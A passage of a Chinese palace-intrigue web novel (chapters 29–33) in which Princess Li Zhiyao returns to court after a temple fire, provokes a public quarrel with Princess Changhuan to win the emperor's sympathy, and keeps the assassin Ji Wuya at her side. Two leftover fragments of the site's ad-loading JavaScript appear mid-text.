好像他的从前还有以后,都在这场大火里被烧得一干二净。 就像当初雪地里捡到他的老和尚。 死了就再也回不来。 好久…… 纪无涯率先转身,雪和寻方跟着他。 “走吧。” “师兄我们去哪?” “去找宿宁。” 29. 回宫 第29章 李之夭偷偷从后门溜进银来庄,外面停了好几辆拉货的马车,上面空空如也。 现子时已过,李之夭戴上幕离走进去,就听金三娘大声呵责的声音。 “子时已过,为何还没动静?我看你们主子压根就是把我当猴耍。” 只见骆寒山压着一名杀手,在他对面还有两名被捆得结结实实的人。 “我们只是奉命收到信号带你们过去,至于发生何时我们也不清楚。” 地上的杀手连连解释。 “放你娘的狗屁,城外凤山烧起来每三天三夜是灭不了,我看就是你们搞的鬼!” 耿进才说着说着忽然像是想到什么,“噢,我懂了,什么买卖,我看就是你们想放火烧山,然后等我们过去的时候城里禁军来抓人好让我们当替罪羊!” 说罢不忘狠狠踹他屁股一脚。 “三娘。” 金三娘闻声回头,只见李之夭戴着幕离,浑身灰不溜秋的,她静静立在那里,跟失了魂一样。 她好赶忙上前拉住她的手就往屋里带,“哎哟我的小祖宗,你这是怎么搞的。” 临走时她回头道:“既然裴淮言而无信,就别怪咱们的人明日去收铺子了,来人把他们三个给我绑外头的大树下。” 李之夭静静跟她进屋落座。 见她身上狼狈,金三娘派人去烧水又给她倒杯水端来一盘蜜饯为其安神。 忙完才回到屋中询问今晚发生何事。 “那凤山咋能烧那么大的火?主子你没事吧?” 李之夭摘下幕离露出那张被烟熏的脸,轻轻摇头,随后死死抓住金三娘的手,因用力导致身体开始在轻微颤抖。 随后她的头抵在金三娘的肩膀上,哽咽出声。 “三娘,怎么办……我好像拿他们没办法,不管怎么做,他们都能逃掉化险为夷甚至比以往信念更加坚定,三娘可我不想……” 不想像书中那样,成为他们的垫脚石,最后死在苏月清手下。 金三娘拍着她的后背,哄着她道:“主子,我虽不知道你日后打算,但我知道主子你已经很厉害了,对方老奸巨猾不是善茬,但主子你能在大魏皇帝眼皮底下带我、耿进才、骆师傅和小二从无到有,把银来庄做这么大已经很厉害了,若娘娘在世,她定是希望你能平安快乐的,现在她在天上保佑你,你想做的事都会成功的。” 城里因凤山大火变得兵荒马乱,全是调兵以及百姓自发出去救火的脚步声。 整座山被烧起来,把一半天都变得通红,持续到第二天中午都不见好转。 大火还在燃烧,此事惊动清武帝和朝中大臣,他已经一晚没合过眼了。 此时坐在龙椅上单手撑额闭目养神。 台下大臣听闻李之夭出现在现场直接拿此事说事。 “皇上!臣等就说宿宁公主居心叵测,被人劫走说不定也是她自导自演的,目的就是为了火烧护国寺,不给人安宁啊!” “皇上!此事必定是李之夭所谓,火烧护国寺,简直胆大包天!” “还请皇上速速派人将李之夭捉拿按律问罪!” 台下大臣纷纷跪倒一片。 清武帝缓缓整睁眼眸子满是疲倦,还立在原地的人零零散散,太傅徐子清便是其中之一,往后几人都是一些小官,他记得站着的人或多或少都受过李之夭的恩惠。 徐子清开口道:“公主出现在那里,此事不一定跟她有关,我们尚不知发生何事,秦大统领已去捉拿贼人,如此定人罪未免过于武断。” “太傅大人是李之夭的老师自然会帮她说话。” 话音刚落,清武帝忽然冷哼一声,台下的人瞬间安静。 “凤山火势不减,诸位爱卿不忙着讨论如何赶快灭火之法,却忙着讨伐不相干的人,可真是大魏的好臣子,是不是这把火烧不到你们头上就不知道着急一下?!若任凭火势蔓延下去,附近有多少山林都会波及,靠山吃山的百姓该如何安顿你们想过没有?怎?到时候接到诸位爱卿家中养着可行?” 因他这句话台下的人连忙请罪,此时他不想追究李之夭的意思很明显。 把百姓安排到他们家的事更不敢多言。 毕竟清武帝真干得出来这样的事。 于是朝中言论本想借此将李之夭拉下水,被清武帝扭转过来变成商讨此番大火一事。 宫外休整一晚上的李之夭此时重新打起精神,一大早耿进才便让人带着裴淮在北唐做抵押的铺子契约赶去收铺,在大魏的铺子近的他直接带人过去收了,远了便同北唐的方法一样。 裴淮的铺子都开在人流多地段好的地方,难怪他每月利润那么高。 李之夭推开窗通风,刚开就见到纪无涯站在她窗前,吓得她忙合上窗户。 下一秒,她的屋门被一脚踹开,雪站在门口,手里还拿着糖葫芦。 “麻烦公主,跟我们回去吧。” 雪蹦蹦跳跳走进来,她身后的光下,纪无涯就在那里。 知晓他们是清武帝派来接她回宫的,眼下差不多确实就要回宫了。 倘若山火熄灭,便是启程去往骊山日子。 如今剧情走偏,导致苏月清提前跟裴淮碰面,只要裴执还没出来,她依旧能阻止裴淮回到北唐。 苏月清被秦立山看到跟裴淮在一块,想回宫恐怕得废些功夫。 “那走吧。” 纪无涯抬眸看了她一眼,很快又垂下去。 李之夭唤来踏雪让她帮忙跟金三娘说一声自己回宫了的话,踏雪颔首应下。 路过纪无涯之时,今日三十一,若他说的不错,明日初一,就是毒发的日子。 进宫的路畅通无阻,雪先送李之夭去宿宁宫,李之夭表现也很顺从。 纪无涯则是去大殿找清武帝。 等了会儿内官过来通传让他进去,纪无涯才抬腿迈进大殿。 在大臣的注视下一路向前,最终停在前面朝清武帝抱拳行礼。 “缘楼不辱使命,宿命公主已平安回宫。” 纪无涯说完察觉有人在看自己,他余光瞥去,是太傅徐子清。 他收回目光视线落在眼前。 清武帝撤回在宁缘城的兵,缘楼危机解除,消息只消雪带回去就成,楼主不会对她 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她眨巴眼睛,早就听闻皇宫里厨子天下无双,做出来的东西更是一绝,忍不住好奇起来她爱吃的那口香酥鸡。 肯定比外面的好吃。 李之夭一怔随即笑道:“当然有。” 小顺子下去通传,等香酥鸡的时候宿宁宫外却突然传来声音。 本以为是清武帝过来了,谁知道过来的人竟是跟雪一个年纪大小的女孩。 她便是如今清武帝膝下唯一的孩子,也是大魏名正言顺的大公主长欢公主,谐音她的名字常欢。 前些日子因她来找李之夭麻烦,被李之夭坑去书院将四书五经各抄十遍,抄了小半月现在才从书院放出来。 一放出来果然就马不停蹄来找麻烦。 连常欢因自己是大魏唯一名正言顺的公主,入宫两年,把在外头被段兰之惯坏的毛病带了进来,仗着自己的身份更加肆无忌惮。 原先在宫外清武帝还未起兵时江氏就看不上她,因为她是个女孩,但又不想段兰之生她的大外孙,就一直拖着。 现在进宫身份扶摇直上,江氏也拎得清,开始跟段兰之统一战线就是叮嘱连常欢守好自己的位置,不能给李之夭夺了去。 春夏打开门连常欢就带人冲了进来。 “李之夭!你胆敢害我去抄了半月的书,我今天非把你赶出去不可!” 连常欢冲进来就要对李之夭拳打脚踢,李之夭坐在主位眼皮子都懒得看她。 “看来让你抄半月书还是太轻了,应该让你去扫一个月的地。” 连常欢进来发现李之夭身边还坐着一个跟自己同岁的女孩,她怔了怔。 “好啊你,你还敢擅自带人进宫,我今天就砸了你的宿宁宫,把你告到堆父皇那里,看你还想使什么坏心眼!” 连常欢大手一挥,趾高气昂仰着脸。 “来啊,把宿宁宫给我砸了!” 30. 闹剧 第30章 春夏拦着不给他们进去,但招架不住连常欢身边的宫女内官还有老嬷嬷蛮横,他们把人顶开,就往里面冲。 雪顿时被吓一跳,看对方来势汹汹她龇牙瞬间露出防备的架势。 李之夭见她这模样还以为她是受到了刺激,不动声色挡在她跟前。 只见连常欢命人搬来躺椅在梧桐树下纳凉,还有人为她扇风,美滋滋地看着她的人大闹宿宁宫,势必要将前段时间在这里受的加倍还回去。 李之夭一反常态不阻拦,反而立在一旁。 “你不要后悔。” 连常欢讽刺道:“我后悔?鬼才会后悔!你怎么不哭不闹也不装柔弱了?怎么发现这招对我不管用啊……” 她话还没说完就瞧见李之夭噗通坐在地上,做作地捏着衣服袖子擦眼泪。 “不知公主为何要派人刁难于我?” 连常欢坐直身子一脸不可置信,指着自己。 “我?” “若长欢妹妹实在看不惯我大可去皇上面前告我也好,只是我这宿宁宫前不久刚遭遇大火,如今只怕是有点危险。” “哼,我就不信你区区一个宿宁宫能翻出多大的水花来。” 连常欢不以为意,雪偷偷打量她,尽管对方年纪跟她相仿,只可惜并不能跟她相提并论。 实在太弱了。 她一只手就能弄死的对象。 若不是进宫时她十三师兄再三警告不准惹事,更不准动手伤人,否则后果自负。 给她师兄面子,不然在对方冲进来之前,估计就躺在那里了。 宫里人来来往往,有些不是连常欢身边的人,但看到李之夭坐在一旁哭得梨花带雨,着实让人心疼。 但主子也有大小之分,那个长欢小魔王可开罪不起,只有毁东西的时候手下留情些。 谁知下一秒屋顶忽然房间灌水,劈头盖脸淋下来,惊得旁人一个劲儿往外跑。 未等反应,隔壁传来惊慌失措的尖叫声。 内官衣服后摆被火点燃,他拍着屁股一路狂跑出来,那火很是邪门,不管他怎么跑怎么跳都扑不灭,小太监瞧见池塘一股脑扎进去,跳入水中才等火势熄灭。 屋子黑烟弥漫,黑烟从瓦缝直冲云霄。 连常欢惊得手忙脚乱。 “你们怎么还放火?这不是让父皇发现我吗?蠢货!快灭火啊!” 她急得在原地跳脚,此时刚才跳进水里的太监准备上岸,手攀上岸边一块装饰用的石头,谁知石头不稳,他抱着石头再次栽进水里,噗通一声。 随着太监再次落水,连常欢所在的梧桐树突然落下一张网,将她整个人捞了起来挂在树上。 “啊——” 她在网兜里奋力挣扎,越挣扎网收得越紧。 此时她终于想到一旁的罪魁祸首,故而恼羞成怒地开始口不择言。 “李之夭!你赶紧放我下来!不然有你好果子吃!我一定要去父皇那里揭穿你!把你杀了,去地下陪你那个短命的娘!你跟你娘一样低贱尽搞这些上不得台面的东西!你快放我下来!” 李之夭起身拍了拍身上的灰尘。 “我从想过跟你争什么地位名分,我也不在乎日后是否能回到故土,长欢,我是我,你是你,我永远不可能替代你,进宫两年,你们不是自己来找麻烦,可曾见过我耀武扬威过什么?” 连常欢气得失声大叫,根本听不进去她的话,一心认定李之夭的出现就是为了夺走她好不容易才有的地位。 “母妃说的果然没错!你就是个口是心非的坏女人!你就是想替代我!不然你怎么还会带一个跟我同岁的小贱民进宫,只不过你被我拆穿了不承认而已!” 尝试跟她沟通再次失败,李之夭叹了口气。 “我若想争,又何必等到现在。” “你若真不想,就应该去死!跟你娘一样去死!凭什么来分走父皇对我的宠爱,我才是大魏最最贵受人尊敬的公主!” 连常欢哭骂着,十二岁的孩子本是单纯的年纪,嘴里却说出恶毒的话。 若没人教导,又怎会一字一句都剜在人心上。 陪同连常欢在一起的宫人想将她从树上放下来,都越扯越紧,周围连把刀剑都看不到,只能在下面干着急或者是去求李之夭高抬贵手放了她。 这些说话求情的人都是连常欢身边的人,不是她身边的宫人经历屋子那一遭,又是水又是火的,最后还有暗器痒痒粉各种吓得他们够呛,个个争先恐后往外逃。 半道上又听到连常欢说着恶毒的话,而宿宁公主却一句话都没说,态度忍让。 最后连常欢被小顺子和春夏在众人的惊恐声中被丢了出去,顿时颜面扫地,气得她咬牙切齿就哭着往回跑。 里面的小顺子则隐隐不安地看向自家主子。 “主子,这会不会有什么问题。” 春夏愤慨道:“把她丢出去都算好的了!” “小顺子,你速去查一查跟连常欢来的宫女太监分别来自哪里,一会儿有用。” 小顺子点点头忙扶正帽子出去完成交代办的事。 “主子……”春夏一脸担忧,刚才连常欢说出那么多难听的话,估计公主心里不好受。 “没事。”李之夭明白春夏的担忧,回到方才连常欢坐的树下。 此时御膳房为她准备的香酥鸡也送了过来。 送食物的太监看见宿宁宫狼狈的场景怀疑是不是走错地了。 李之夭当着他的面摸了把眼泪,强颜欢笑道:“估计是常欢心情不好,让公公见笑了。” 太监连连点头,把东西递给春夏赶忙转身走了。 御膳房新鲜出炉的香酥鸡,外焦里嫩,色香味全,打开罩在盘子上的盖子,香味瞬间扑面而来,让雪不由睁大眼睛,凑到跟前满眼期待。 “吃吧。”李之夭为她递上碗筷,为难的看着她,“只是委屈你在外头吃了。” “没事,麻烦公主,我不介意。”雪说完大快朵颐起来,为了吃上这一口,她真的很乖了。 麻烦公主被人找茬后竟然还没忘记她。 看对方到底是个小孩子心性,有吃的很快就能将注意力转移,旁的什么也顾不上。 吃到一半,小顺子也回来了,一起来的还有清武帝和纪无涯。 她眸子微敛,冲清武帝跪拜叩 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“胡说,这从浣衣局调来的人才刚回去,主子还让奴才去打探清楚回来。”小顺子适时嘟囔,他本是从外头回来,行走慌慌张张的,刚好跟清武帝撞上。 联想方才他也明白是怎么回事,清武帝面色阴沉,很不好看。 “小顺子,你速带人去把长欢带过来,就算绑也要绑过来,孙广全,你去浣衣局把来过的人给朕全部喊过来,朕倒要看看谁给的胆子!” 李之夭跪在地上,面色煞白,往前挪了几步抓住清武帝明黄的衣摆,眼泪吧嗒吧嗒往下掉,哭得上气不接下气,不停哀求。 “舅舅,此事不关长欢的事,她还只是个孩子,舅舅,求你……” 她哭着哭着忽然眼睛一闭,直接晕倒在地上。 春夏见状忙扶着李之夭,声音焦急。 “主子!主子!你快醒醒!” “快!快传太医!不……”他顿了顿,“直接送去太医院!” “陛下,我送吧。”一直默不作声的纪无涯忽然开口,上前将李之夭抱起,由一名太监引路,径直往太医院过去。 清武帝到底放心不下,没过多久也跟了上来。 瞧见李之夭眼皮子微微动了动,一切不言而喻。 转过拐角李之夭睁眼,眼角还带着眼泪:“纪无涯你凑什么热闹?” “我问你一个问题。” 他放慢了脚步,“裴淮去哪了?” 竟是这样。 她抓着纪无涯衣襟的手紧了紧,垂着头,声音软软糯糯的。 “他死了。” 抱着她的手一紧,随后又轻松的恢复常态。 “你杀不了他。” “你就这么确定吗?” “我知晓你管用毒药,也明白你从来不是心慈手软的主,带你离开时我给他塞了护心丸,可保他一线生机。” 闻言李之夭话苦涩勾唇,“竟是你。” “我只想找到《下月集》,公主殿下,死过一回的人比常人更惜命。” 31. 亲情 第30章 穹光刺眼,李之夭微微眯了眯眼睛。 “若我说我不知道他在哪,你会怎么办?” “不会找不到的。”纪无涯说得很笃定。 就想当初他寻了很久,最后快放弃之时却发现下月集已经在裴淮手里了。 沉默良久,快到太医院李之夭翻身从他怀中挣脱。 等清武帝赶上来,她跪在地上,“舅舅我没事的。” 说罢她扬起布满泪痕的脸。 纪无涯感叹她变脸如此之快,不去唱戏真是可惜。 她仗着清武帝的偏宠,在宫里只消哭一哭卖惨示弱,她越是表现自己毫不在意为人着想,清武帝越是对她心生愧疚。 觉醒后便是如此。 哪怕万人嫌弃,只要清武帝一日不对她厌烦起疑,她就一日能仗着这份偏宠在宫里活下去。 今日长欢公主找茬,往常不是没有过,她不阻止就是想让连常欢把事情闹大。 就算拆了她的宿宁宫又如何?毁了可以重建,若不趁现在巩固在清武帝心里的位置,就无法再重新建立起来一份帝王的信任,哪怕如今这份信任也带着对方忍不住的猜忌。 “夭夭……” 清武帝叹息一声,似是无可奈何。 “麻烦公主,你为何不承认是别人把你屋子毁了?我当时在旁可是看的一清二楚。” 雪适时出声,眸中满是不解,这件事若换做是她或者十三师兄和十四师兄被人欺负,她定把对方打得屁滚尿流。 可今日麻烦公主反而一个劲儿的给别人说好话,一点也没有公主的架子。 “夭夭,你先去太医院看看。” “我不去,舅舅我没事的。” 李之夭再次叩首,一行人就在此僵持不下,而清武帝也拿她无可奈何,只能干等到小顺子把连常欢带过来。 因清武帝站在拐角树荫下连常欢率先看见的是跪在地上的李之夭,见她身边还跟了一群人。 见自家主子在那里,小顺子也不拦着她,反而不动声色地给她让道。 连常欢一路快步走一路破口大骂。 “李之夭,我就知道你没安好心!跪在那里整那死出给谁看呢!” “要是今日我母妃在此,定不会轻易饶了你!你看我今天不把你这祸害赶出宫去!” 站在墙后面的太监立刻变了脸色,悄悄打量身旁这位的脸色。 昨日皇上刚解了毒,才休息不到半日,谁知夜间听闻凤山大火,护国寺也烧了起来,连夜召集大臣商量对策,早上上朝又发了好大一通火,只怕是身体吃不消。 若被长欢公主刺激出什么毛病来,岂不乱了。 果然清武帝面色阴沉,听了连常欢口不择言的话,前些日子想起她也是这般大闹宿宁宫,好不容易安分小半月,才刚出来又迫不及待来找麻烦。 看样子是他给连常欢的殊荣过多,连自己身份都忘记了。 李之夭不用抬头也清楚清武帝的神色。 这一切都是她故意的,她不自己解决连常欢,她要清武帝自己动手。 这样谁她也不会落下话柄。 “你要把谁赶出宫去?” 清武帝站出来冷眉冷眼盯着连常欢,话语间隐隐压制着一股快要喷薄而出的怒气。 使得连常欢顿时生怯,下意识的跪在地上,说话声音都是颤颤巍巍的。 “父……父皇……” “朕问你,你想怎么办?” 连常欢被吓得眼泪掉出来,跟在她身后的嬷嬷见状不对悄悄溜走赶紧去秀春宫报信。 “儿臣……”连常欢掉眼泪企图让清武帝心软,可清武帝正在气头上,见她判若两人,话都说不利索,更加心里不满,感到厌烦。 李之夭始终低着头,唇角微微上扬,再抬头时就是另外一副面孔。 “舅舅,长欢妹妹不是故意的,舅舅息怒。” “到现在你还在为她说话!” 清武帝气不过,语调都拔高了几分,他气李之夭,气她不知为自己讨公道,气她怎么如此良善,什么事都往下咽,憋着受委屈什么也不肯跟他说。 她越小心翼翼,他越对李之夭愧疚,对她死去的母亲愧疚,无不显示他照顾不周,他有负嘱托。 连常欢死死咬着嘴唇,嘴角往下撇,豆大的眼泪止不住往下掉,她指着李之夭道:“父皇!她都是装的!父皇你可别信她!她人前人后根本就是两个模样!父皇!不信你问他们!父皇!我可是你唯一的亲女儿!” “正是你是朕唯一的亲女儿!”他扬起的手迟迟下不去,该成指着别人,“你们说说是不是?” 连常欢身后的宫女太监衣裳狼狈,他们垂着头,小声应下。 恰好此时孙广全带着浣衣局回去的宫女过来,她们身上跟连常欢身边的宫女如出一辙。 雪悄悄往纪无涯身边挪了挪,刚想出声就被示意不要说话。 纪无涯在清武帝身后,他弯腰低声道:“阿雪,今日你听到的看到的日后出宫可不能多说一个字,知道了么?” 雪懵懵懂懂的点头,她虽不知为何,可她十三师兄说的就一定有道理,她得听着。 在她眼里,宫里人家本是端庄大气的,今日一见心里总生出几分失望来。 公主不是公主,皇帝不像之前头次见到的皇帝威严,他们都因麻烦公主一人,乱成一团。 雪不禁再次偷偷打量起那位麻烦公主,她只是静静跪在那里,不用多解释多说一句话。 就让一国之君为她出头。 这就是亲情吗? 她皱眉,她不懂,因为她从记事起就不是这样生活的。 可长欢公主不也跟皇帝是父女,这一切究竟是为何? “皇上,长欢公主从浣衣局调过来的宫女都在这了。” 宫女们跪了一地,清武帝道:“说,今日到底怎么回事?” “回……回皇上……” 胆子小的都差点晕过去了,话说都不利索,抖如筛糠,根本说不出一句完整的话。 清武帝很不耐烦,“不会说话就去慎刑司让里面的人教教怎么说。” 闻言胆大的宫女才敢憋出几个细如蚊蝇的字。 “是……是长、长欢公主……” 话已至此,不用多说清武帝也明白,摆摆手让她们退下。 绕连常欢再心高气傲也不敢多说一句 () { $(''.inform'').remove(); $(''#content'').append('' ,连滚带爬过去抱着清武帝的腿就开始哭嚎。 “父皇!父皇儿臣知错了!父皇你就饶了儿臣吧!” “皇帝。” 一道沉稳的声音传来,太后江氏急匆匆赶来,她身边跟着的是方才偷偷溜走的老嬷嬷。 太后走到连常欢身边从上往下睨了她一眼,好声劝道,“就算长欢犯了错,她也是你如今唯一的子嗣,大魏唯一堂堂正正的大公主,可比不了某些人,你若是大张旗鼓处罚了她,岂不是让人看笑话,你让她面子以后往哪里搁?” “母后,可她总不能把人家刚修缮好的屋子拆了还说出那些口不择言的话来。” 清武帝揉了揉眉心,苦口婆心跟江氏讲道理。 “她是大魏最尊贵的公主,砸了一间阿猫阿狗住的屋子又怎样,再让人修好不就行了,那些话不好听,可说的也是事实。” 老嬷嬷是连常欢身边唯一一个比较有脑子的人,她见连常欢碰壁,竟去偷偷搬救兵。 太后应该是段兰之授意她去请来给连常欢解围。 李之夭叩首:“既如此还请舅舅放我出宫或是让我去邙山守着陪伴娘亲好些。” 清武帝一个头两个大,在朝堂上文武百官搁那里闹,来后宫还有人在闹。 甚至把太后都惊动。 “出什么宫,你就在宫里好好待着,邙山也不准去,你后日跟朕一块去骊山,长欢……” 他顿了顿,“你给夭夭道个歉,继续去书院抄书。” 到底是他唯一的子嗣,在场有这么多双眼睛看着,江氏的话说在他心上。 宫里人向来注重面子,他也不想闹得下不来台。 手心手背都是肉,他只能选择委屈李之夭,提出一个让她陪同去骊山的补偿。 安抚了人,也不至于让连常欢面子挂不住。 连常欢很是满意,道歉的话说得也快。 “对不起啊。”说完起身搂住江氏和清武帝的胳膊得意洋洋地看着李之夭。 李之夭对清武帝的想法心知肚明,只是她觉得不甘心。 她已经委屈了自己,更容不得旁人再让她受委屈。 对自己好或坏,只有她自己说了算。 她可以的,别人不行。 宿宁宫毁了,今日定是修缮不成。 她抬起头道:“舅舅,宿宁宫已毁,今日我住哪?” 连常欢想也不想直接道:“你住哪关父皇什么事……” 她话没说完就被江氏扯了胳膊,立刻闭嘴把头扭朝一边。 李之夭道:“舅舅,想来我和长欢妹妹之间有诸多误会,不妨这两日让我去长欢妹妹那里小住两日,也好彼此增进感情。” 连常欢顿时跳起来:“谁要跟你一起住!” 清武帝不理她的话,自家孩子在一起培养感情也是不错,平时宿宁公主都不和外人接触,现在她主动提及也是好的。 两人若是能冰释前嫌再好不过。 于是便答应了。 “朕允了,可还有别的要求?” “舅舅能不能让他留宫里?现在贼人还未落网,我怕他会再去而复返……” 李之夭指了指他身后的纪无涯。 32. 争斗 第32章 清武帝点头:“朕会书信去缘楼跟楼主说明,纪少侠可行?” 皇权为大。 皇帝身边高手众多,纪无涯没蠢到胆敢反驳他,哪怕那个要求是李之夭提出来的。 只是雪有些不满地抓紧纪无涯的衣袖,欲言又止。 强行将人绑在身边,纪无涯也清楚她是什么缘由。 “是。”他低沉嗓音应了一句。 李之夭望向站在阴影里的人,她的目光猝不及防跟雪撞在一起。 十二岁的小姑娘目光阴恻恻的,彷佛碍于先前给她的香酥鸡,雪的目光眨眼又变得彷徨起来,最后只能攥紧身边人的衣摆,默默垂下头。 “既如此,夭夭你这两晚便先去长欢那里住下,长欢可不能怠慢你表姐。” 连常欢还想说什么就被清武帝瞪了一眼,只好求助地看向江氏,想让她为自己求情。 “皇帝……” “行了,谁也别说了,这件事就这样,你们都安分点别总是去找夭夭麻烦,给朕留点清净日子。” 清武帝甩袖离开并且再次警告连常欢让她不准再闹出动静来,否则就为她是问。 连常欢搀扶江氏离开后李之夭才从地上起来,春夏见状赶忙上前替她揉膝盖,一边揉一边掉眼泪。 “主子,皇上明显是偏向长欢公主那边,这次本就是她的错,怎么到头来皇上却罚她些无关痛痒的事。” 李之夭揉了揉眉心,眉眼间很是疲倦。 “无事,只是往后咱们得好好规划规划。” 经历今日这么一出,算彻底看明白,想出宫守着清武帝的那份信任不行。 她应该往别处筹谋。 跟连常欢同住两日,自然不会让连常欢舒坦。 清武帝不处置,她自己动手让连常欢长长记性。 往回走的路上李之夭故意放慢脚步跟纪无涯并行。 “两天两夜的费用我会付给你。” “白日一百两,晚上一百五十两,共五百两。” 两天的时间够她把裴淮藏身之处找出来。 踏进宿宁宫时,纪无涯却接到飞鸽传书。 他看完后目光下意识朝李之夭望去,随后便将书信在手中用内力碾碎。 “晚些时候我再回来。”他拍了拍雪的头,“走了。” 出了皇宫,没有高墙大院的阻挡,闷热的夏风吹来。 纪无涯随手抛着银币,发尾飞扬,墨色的发带在发间若隐若现。 “师兄,我们去哪?” “去找一位老雇主。” 他收到飞鸽传书,信上的内容让今晚去家中小叙。 因今日宿宁公主平安无事的回了宫中,还是他送回去的,无论在这件事里是否有他参与,但对方作为想取李之夭性命的一方,总归是要过问。 穿过繁华大道,拐过巷道,人声时远时近,高低错落,他一路沉默向前,雪就跟在后面。 “师兄,你不回去吗?” “不回去。” 纪无涯应道,见雪还要再说什么,接而出声,“我还有自己的事。” “可是楼主让我带你回去。” 雪说到这里声音越来越低,忽然想起楼里的传言。 他们都说十三不满楼主,更是将他关进地牢十窟,导致纪无涯体内旧毒复发半年下不来床。 后来他恢复如初第一件事就是去十窟大闹一场,更是将里面关押的犯人全部放出害得缘楼大乱。 罪魁祸首趁机离开缘楼,江湖上有他的消息,却不见其踪影。 只闻其声不见其人。 她喃喃道,“师兄,难不成你真要背叛缘楼?” “我想离开。”纪无涯停在卖糖葫芦的小贩前,取下草靶子上裹着最多糖浆的糖葫芦,递到雪手里,付钱后小贩连连道谢离开。 他站在桥头,日光沐着眉眼,轮廓分明,少年面容恬淡,漆黑的眸子深邃,却跟从前满身戾气的他相差太远,她竟能从他眼里看到平静。 不同杀手的平静。 雪摇了摇头,把这样的想法从脑海里甩出去。 在楼里,她很认真的观察过每个人的眼睛。 绕是纪无涯这样的护法或排在他前面的杀手,他们眼里透露出来的信息表明其心底的不平静。 “阿雪,我从未想背叛,缘楼对我有恩。” 纪无涯跟她解释,对这个比自己小六岁的女孩,亦是缘楼年纪最小的,自从将她救回缘楼,雪很喜欢跟着他,而他早已把对方当做妹妹来看。 她和寻方一样,是如今自己最重要的亲人。 雪点点头,听到十三师兄这么说,她就信他。 “师兄,我和寻方一样,不管你去哪我都跟你!” “叫寻方师兄。”寻方不知何时出现在她身后,拍在雪的脑袋上。 “没大没小。” 雪朝他做个鬼脸,而寻方则是将她手里的糖葫芦夺走,连吃带拿眨眼就剩了三个挂在上面。 “这是十三师兄给我买的!” 雪看着被塞回手里的糖葫芦,气得牙痒痒,恨不得冲上去狠狠咬他一口。 她自己都舍不得吃! “叫声寻方师兄我也给你买如何?”寻方勾起唇角,好整以暇地望着她,下一秒雪朝他肚子上出拳,寻方眼疾手快拦住她的拳头。 “你不走我可走了,师兄已经走远了。”寻方指了指前方纪无涯的背影,雪刚准备拔腿追上去,就被他拉住。 “阿雪你想不想去听戏?” 玩心战胜了想去追师兄的心,雪跟着寻方去了戏楼。 支开雪因为对方并不想过多的人知道他曾经的身份,以免生出不必要的事端。 纪无涯来到府邸门前,朝守在门口的侍卫出示令牌,一路畅通无阻,去到后院陆海清和老翁在水榭早已恭候多时。 “陆叔。”纪无涯冲他打招呼,随后才对坐在主位的人说话,“智先生。” 智先生为其添茶,紫砂茶盖拔过紫砂杯,小炉熨着用紫砂壶泡开的天山雪芽,灰色的儒袍袖口用手拂住,身后池塘鲤鱼跳跃,落水咚咚声传来。 “无涯,称老陆就是陆叔称我就为智先生,未免过于生疏了。” 智先生将泡好的茶放于对面,纪无涯于茶杯前落座。 “先生名字响亮,晚辈不敢怠慢。” 纪无涯拱手。 “让你刺杀宿宁公主,这次她落在你手里可谓大好机会,为何不趁机将她诛杀?” “我向来是先收了钱再办事,此番皇命在身,不敢不从。”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 智先生闻言冷哼一声,端起凑于唇边的茶杯被他重重放下。 “怎么?怕皇帝派兵真把缘楼给剿了?” 语罢他话锋一转,“若真到那时候,老夫自会保全缘楼,好歹我也属缘楼一员。” * 春夏和小顺子收拾好这两日需用到的东西便出门去寻自家公主去了, 宿宁公主站在门口不知心里盘算着什么,听到春夏的声音李之夭才抬头冲他们笑了笑。 长欢公主身为大魏唯一的皇嗣,住的地方都是段兰之问清武帝下的旨特意修建的寝宫,名唤华梧宫。 就算日后清武帝膝下有众多孩子,只要连常欢有这份殊荣在,她都不会被人怠慢。 皇帝下了口谕,所以华梧宫的宫人在他们来之前就已经把这两日宿宁公主住的屋子收拾出来,还留了两名宫女在门口候着。 连常欢气得在屋子里把能砸的东西全砸了一遍,老嬷嬷在一旁劝着让她忍忍。 宫人悄悄打量这位前朝公主,宿宁公主虽一直不受人待见,可偏偏清武帝很是护她,就连这次来华梧宫都下了口谕。 还派孙广全过来监察,所以尽管长欢公主再不满,他们也不敢当着孙广全的面给宿宁公主使绊子。 李之夭跟着宫女来到住的地方,比预想中的好。 她刚住下,连常欢跑着过来给她警告。 “就算父皇为你撑腰,到最后我还是父皇最喜欢的孩子,劝你最好收起那些坏心思,识相的话最好自己离开!” 说完就转身走了。 晚饭没人送来,不用想都是连常欢故意的。 根据小顺子打探回来的消息,她一改往常伙食,今日吃得很是丰盛,香味都飘出好远。 这么多的吃食并不是她一人的量,而是附带了李之夭他们的。 李之夭起身带春夏往外走,让小顺子留在这里。 “春夏,咱们去御膳房。” 春夏不明,“主子,咱们不应该去找长欢公主么?” “不找她,她想让我们去跟她闹,我们偏不去,去御膳房门口哭,她怕落人口实定会派人把我们请回去。” 得知李之夭带着贴身侍女离开的连常欢赶忙丢下筷子让人去盯着她干什么。 老嬷嬷在一旁劝导:“公主,宿宁公主不是个省油的灯,咱们这两天可得盯紧了,若能拿她一点错处来,皇上那边就好办许多。” 她是连常欢的奶妈,自是从小看她长大,后来跟着一块进宫,陪在公主身边。 连常欢没怎么将她的话放在心上,她更希望这次的下马威能让李之夭认清自己。 一刻后,小太监慌慌张张跑进来,噗通一下跪在连常欢跟前。 “不是让你盯着她么?怎么回来了?” “公主!宿宁公主她……” 小太监支支吾吾半晌说不出来,“宿宁公主……” “她怎么了,你倒是说啊!” “她在御膳房门口哭呢!现在已经吸引了一大批人过去了!” 连常欢面色一变:“岂有此理,她还真把皇宫当菜市场了!” 老嬷嬷意识到事情的严重性,忙为她分析利弊:“公主,现在皇宫上下都知道宿宁公主来了你的地盘住,她跑去御膳房哭,不就是给您抹黑么?” 33. 巴掌 第33章 因绾妃犯了错如今正禁足,秀春宫的大门轻而易举推开。 原先门头上的红绸已被撤去,挂着两盏灯笼,春夏开门率先瞧见庭院里的杜君华。 杜君华上次办事不力,养好伤后段兰之罚她去做扫院子的累活,跟原来待遇完全比不上。 但说到底她也是段兰之进宫前身边跟着的老人,即便被罚,身份还摆在那里,秀春宫上下谁都得给她个面子。 见到立在门口的李之夭,上次珠不成反倒挨了二十大板的仇立刻涌上心头,她捏紧扫帚,大叫一声。 “小贱人!我不找你你倒是自己找上门,看我今日不打烂你的嘴,让你颠倒是非胡说八道!” 她立刻召集宫里的宫女太监,自己三步并两步冲上前欲要给李之夭一巴掌,却被春夏接住反手给她一个嘴巴子。 “大胆奴才,公主也是你能打。” 